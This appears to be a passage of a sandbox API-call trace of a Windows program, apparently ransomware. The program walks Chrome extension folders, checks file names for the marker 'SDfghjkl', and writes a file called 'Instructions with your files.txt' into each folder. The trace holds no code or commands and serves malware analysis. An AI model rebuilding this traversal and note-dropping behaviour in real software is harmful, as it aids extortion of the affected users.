[0129.291] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.292] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.292] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.293] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.293] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.293] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.293] CloseHandle (hObject=0x134) returned 1
[0129.293] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.293] GetProcessHeap () returned 0x810000
[0129.293] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.293] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0129.293] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\Instructions with your files.txt") returned 172
[0129.293] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.295] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.295] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.295] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.296] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.296] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.296] CloseHandle (hObject=0x130) returned 1
[0129.296] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.296] GetProcessHeap () returned 0x810000
[0129.296] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.296] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0129.296] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata") returned 140
[0129.296] GetProcessHeap () returned 0x810000
[0129.296] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.296] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*") returned 142
[0129.296] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.296] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\.") returned 142
[0129.296] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.296] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\..") returned 143
[0129.296] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0x2bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 1
[0129.297] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json") returned 163
[0129.297] StrStrIW (lpFirst="verified_contents.json", lpSrch="SDfghjkl") returned 0x0
[0129.297] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xd3d59700, ftLastWriteTime.dwHighDateTime=0x1d10aaf, nFileSizeHigh=0x0, nFileSizeLow=0x2bd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="verified_contents.json", cAlternateFileName="VERIFI~1.JSO")) returned 0
[0129.297] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\Instructions with your files.txt") returned 173
[0129.297] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.297] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.298] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.298] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.298] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.298] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.298] CloseHandle (hObject=0x130) returned 1
[0129.298] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.298] GetProcessHeap () returned 0x810000
[0129.298] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.298] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0
[0129.298] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\Instructions with your files.txt") returned 163
[0129.299] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c
[0129.300] WriteFile (in: hFile=0x12c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdca4*=0x54, lpOverlapped=0x0) returned 1
[0129.300] WriteFile (in: hFile=0x12c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdca4*=0x18, lpOverlapped=0x0) returned 1
[0129.301] WriteFile (in: hFile=0x12c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdca4*=0xc, lpOverlapped=0x0) returned 1
[0129.301] WriteFile (in: hFile=0x12c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdca4*=0x16, lpOverlapped=0x0) returned 1
[0129.301] WriteFile (in: hFile=0x12c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdca4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdca4*=0x23, lpOverlapped=0x0) returned 1
[0129.301] CloseHandle (hObject=0x12c) returned 1
[0129.301] FindClose (in: hFindFile=0x876e78 | out: hFindFile=0x876e78) returned 1
[0129.301] GetProcessHeap () returned 0x810000
[0129.301] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0129.303] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86e26950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x871928f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14.1_0", cAlternateFileName="")) returned 0
[0129.303] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\Instructions with your files.txt") returned 156
[0129.303] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
[0129.303] WriteFile (in: hFile=0x128, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cdf34*=0x54, lpOverlapped=0x0) returned 1
[0129.304] WriteFile (in: hFile=0x128, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cdf34*=0x18, lpOverlapped=0x0) returned 1
[0129.304] WriteFile (in: hFile=0x128, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cdf34*=0xc, lpOverlapped=0x0) returned 1
[0129.304] WriteFile (in: hFile=0x128, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cdf34*=0x16, lpOverlapped=0x0) returned 1
[0129.304] WriteFile (in: hFile=0x128, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cdf34, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cdf34*=0x23, lpOverlapped=0x0) returned 1
[0129.304] CloseHandle (hObject=0x128) returned 1
[0129.304] FindClose (in: hFindFile=0x876e38 | out: hFindFile=0x876e38) returned 1
[0129.305] GetProcessHeap () returned 0x810000
[0129.305] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e1058 | out: hHeap=0x810000) returned 1
[0129.305] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1
[0129.305] wnsprintfW (in: pszDest=0x8ccc20, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned 123
[0129.305] GetProcessHeap () returned 0x810000
[0129.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e1058
[0129.305] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*") returned 125
[0129.305] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e38
[0129.305] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\.") returned 125
[0129.305] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.305] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\..") returned 126
[0129.305] FindNextFileW (in: hFindFile=0x876e38, lpFindFileData=0x22cdf54 | out: lpFindFileData=0x22cdf54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="4.2.8_0", cAlternateFileName="4278E1~1.8_0")) returned 1
[0129.305] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned 131
[0129.305] GetProcessHeap () returned 0x810000
[0129.305] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0129.306] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*") returned 133
[0129.306] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876e78
[0129.309] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\.") returned 133
[0129.309] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.309] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\..") returned 134
[0129.309] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85639950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="128.png", cAlternateFileName="")) returned 1
[0129.309] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\128.png") returned 139
[0129.309] StrStrIW (lpFirst="128.png", lpSrch="SDfghjkl") returned 0x0
[0129.309] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85347ad0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85639950, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
